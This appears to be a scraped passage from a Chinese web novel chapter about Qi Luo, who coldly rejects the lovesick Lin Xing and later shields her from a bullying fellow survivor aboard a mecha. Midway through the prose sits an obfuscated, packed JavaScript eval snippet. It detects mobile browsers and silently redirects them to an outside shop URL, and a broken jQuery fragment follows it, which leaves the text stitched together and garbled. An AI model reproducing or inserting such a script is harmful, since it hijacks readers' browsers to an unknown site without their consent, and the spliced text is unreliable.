刚才帮她,几乎是出于本能。
祁洛差一点就要对她态度好起来了。
可过往几个月的一幕幕,飞快在他脑海中掠过。
她看着他时,爱慕炽热的眼神。
她追在他身后时,口口声声喊着他的名字。
她如数家珍地念叨着他的喜好,他的习惯,他们的过往——即使这些对他来说多数陌生。
不过一瞬,他就如坠冰窟地想通了。
她爱的其实不是他,她看到的不是他,她想陪伴的,也不是他。
他不过是她臆想中,那个陪了她五年,又杳无音讯的,少年祁洛的替身罢了。
祁洛神色沉郁:
“我说过,我失忆了,即使你说的话是真的,你要找的那个祁洛,也早就死了。”
所以,不要试图在他身上找别人的影子。
他不是那个人。
他会生气。
如果她喜欢他,就当喜欢他的灵魂,而不是纠结于一段过去的记忆,心心念念要他变回那个样子。
这对双方都是一种侮辱。
“林星,你不觉得,你这样做很冒犯吗?”
你不觉得,你这样做很不尊重人吗?
林星不明白他这句话的意思,但能读懂他脸上的嫌恶与疏离,脸色霎时变白了。
似乎连高烧也卷土重来。
她深呼吸,直到肺里塞满了快撑裂的气球那么多饱胀的空气,才细若游丝地说:
“我不知道,我哪里做得不好……让你觉得冒犯,如果让你感到不快,我很抱歉。”
莱茵在一旁冷哼一声:
“他因为你都被人嘲成筛子了,一句抱歉就能抵?”
林星神情苦涩。
她只是想让那个祁洛回来。
然而少年祁洛只如浮光掠影般,短暂地存在过片刻,在祁洛将碗放下的那一瞬,就消散殆尽。
如果他永远也回不来了呢?
林星的脸色愈发苍白,衬着高烧导致的红晕,显得极为不正常。
眼前世界开始晃动。
不能晕。
她死死咬了一口舌尖,直到尖锐的疼痛直达大脑,混沌意识才恢复了一些。
摇摇欲坠的女孩,对着祁洛扯出一个虚幻的笑容:
“我知道你不记得了,但是我还是想告诉你,祁洛,我真的很喜欢你。”
祁洛不为所动,甚至有些厌烦:
“这句话你第一天就说过了。所以呢?需要我说声谢谢吗?”
林星再也无话可说。
一颗真心捧出来给人看,却被毫不珍惜地摔得粉碎。
摔它的人还要说,碎掉的声音不好听。
她恍惚地点了点头,心如死灰,跌坐在地上,昏迷过去。
特蕾莎终于看不过去,冲过去一把接住她下坠的身体。
……
虫族的毒来势汹汹,在体内与解毒剂世纪交战。
再加上林星情绪极度低落,自从那晚昏迷之后,就一直没有醒来。
她被安置在机甲的休息舱里,特蕾莎负责照看。
之后机甲上又陆陆续续进来了三个人,都是被解救的平民女孩,这让小小的休息舱显得拥挤起来。
这副机甲本就不是为了载客设计的,而是偏向于战斗的轻型机甲,如今已经在超载的边缘危险试探。
比超载的机甲更令人担忧的,是女孩之间暗潮汹涌的氛围。
所有人都在有意无意地针对林星。
她昏迷的时候还好,反正也不知道,但在两天后,睁开眼睛的林星,再次体会到了被所有同事孤立鄙夷的感觉。
她茫然地看着特蕾莎刚给自己倒好的热水,被其中一个女孩以口渴为由端走。
那个女孩已经不是第一次针对她了。
与特蕾莎一开始对她不友好的原因相同,女孩也看不起她倒追祁洛的行为。
在这份不满之中,又夹杂了一些私怨:
女孩和她当初竞争的是同一岗位,但笔试环节的分数没有林星高,被刷了下来。
最后还是找关系,进了一个不太理想的部门,领导是个爹味很重的中年男人,她每天都过得很不如意。
种种因素累积起来,导致她之前每次看到林星,心态根本放不平,常常阴阳怪气,夸她长得好,会讨好人,不知找对了哪条线,才走了狗屎运,进了战后清点部。
这份怨气难以平息,自然也带到了这里。
面对女孩的刁难,特蕾莎不满地点了点桌面,选择了维护林星:
“想喝水自己去倒。”
那女孩瞥了眼缩在被子里的林星:
“就一张床,我们都睡两天地板了,她怎么好意思整天躺着的?”
特蕾莎忍住脾气解释道:
“说过了,她中了虫毒,需要休养。”
“不是打过解毒剂了?都两天了,早该好了,她肯定是装的。”那女孩说着,将水泼到被褥上,刻薄道,“姓林的,起来!”
特蕾莎刚要跟她吵起来,就见舱门打开,祁洛裹着一身寒气踏了进来。
他的视线在湿漉漉的被褥和林星忍耐的表情上停顿片刻,准确射向了拿着空水杯的女孩。
女孩显然也没想到祁洛会在这个时候进来,按照之前的规律,他应该在外面驾驶机甲,轻易不能离开才对。
可她不知道,机甲的控制台是连着休息室监控的。
女孩眼神游移片刻,有些害怕祁洛找她麻烦。
祁洛讨厌林星是一回事,容忍在他面前发生欺凌事件,又是另一回事。
她刚打算开口辩解几句,就见外界传闻对林星厌恶至极的祁洛,三两步走到床边,将被打湿的床单连带着呆若木鸡的林星整个抱起。
“啊?你干嘛去?”特蕾莎讶异。
祁洛侧过半张冷若冰霜的脸,将林星的脑袋往怀里拢了拢,好叫她不至于撞到门框上:
“特蕾莎,今晚这张床让给你。”
特蕾莎一头雾水:“啊?我没想睡床啊?”
祁洛轻飘飘瞥了一眼刚才向林星泼水的女孩,眼中意味不言而喻:
谁都可以睡床,你不可以。
那女孩与祁洛对上视线的一瞬间,不禁脊背发凉,天塌了的感觉不过如此。
其实睡不睡床不重要,地板都已经睡过两天了。
但有祁洛这句话,就代表她在他那里已经上了黑名单。
她还有个哥哥就在祁洛手底下当兵…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069028|149205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…得罪不起!
女孩识时务极了,在他身后叫道:
“不就是一杯水吗?我道歉还不行吗?林星,我错了!是我不好,能不能原谅我?”
祁洛停住脚步,低头看向裹在被子里,只露出一张烧红小脸的林星,清冷面容下带着一丝微妙的看好戏意味:
“你要原谅她吗?”
他在让她做选择。
他在好奇,她在不同情境下,会做出怎样的反应。
他还不知道,对一个人产生好奇,就是动心的开始。
林星听闻祁洛这样问她,浮浮沉沉的意识实际上也没有多余的心力去处理眼前的闹剧。
就像那个女孩说的,不过是泼一杯水而已。
她连泔水都被泼过,怎么会在意一杯清水。
看见怀里女孩疲累地闭上眼,像是不想管这件事,祁洛便替她做了决定:
“等她身体好了,你再当面道歉吧。”
舱门闭合,隔开身后各怀心事的女孩们。
驾驶舱里,莱茵正在操纵机甲搜寻地面上的平民幸存者。
看到祁洛抱着好大一坨被子过来,还觉得奇怪,定睛一看,里面竟然裹着个林星。
他当即皱了皱鼻子:
“做什么?”
祁哥今天发什么疯,之前不还对林星避之唯恐不及吗?
怎么今天就亲亲热热地抱上了?
那一瞬间,莱茵居然思考到了要不要随份子钱那么遥远的事情。
祁洛将再次昏睡过去的林星放在驾驶舱角落,那里靠着引擎,烘干被子只要几分钟。
他蹲在林星身旁,替她掖了掖被角,才起身,面上笼着一层几乎实质化的愧疚:
“特蕾莎跟我解释过了。那天的青蛙确实是林星动的手。甚至,她猜,她从水里被抓走后,也是林星救了她,否则绝不可能从巨蜻蜓手底下生还。昨天我看到了刘琦的尸体,验证了她的说法。”
虽然很难想象,林星一个娇小柔弱的小姑娘,是怎么在两只虫族手底下保住她和特蕾莎性命的,但事实胜于雄辩,事后在亲自替她换药的时候,祁洛也借机确认了,她手上也有蜻蜓胸足那种特有的锯齿造成的外伤,而且比特蕾莎更为严重。
这说明用力握住胸足,给予致命一击的人,不是特蕾莎,而是林星。
以特蕾莎那种一根筋的交友方式,恐怕已经将救命恩人林星划为了自己人范畴。
而祁洛,也因为之前对林星的冷遇和误会,感到了一丝抱歉。
做错了事,就要弥补。
在众人面前替她撑腰,就是一种弥补。
这边祁洛的所思所想,一点都没有影响到林星。
她不知道祁洛已经心生愧疚,还兀自痛苦地溺在黑甜的梦里,不愿醒来。
她梦见了祁洛,不是现在这个二十三岁的祁洛,而是陪在她身边的那个少年祁洛。
他说——
“别怕,有我在,你永远可以有底气。我会一直为你撑腰的。”
林星在梦里哽咽地问他,那你现在在哪里呢?
你为什么还不出来,为我撑腰呢?
我也是有血有肉,有心脏的人啊。
我偶尔,也是想要被人偏爱的啊。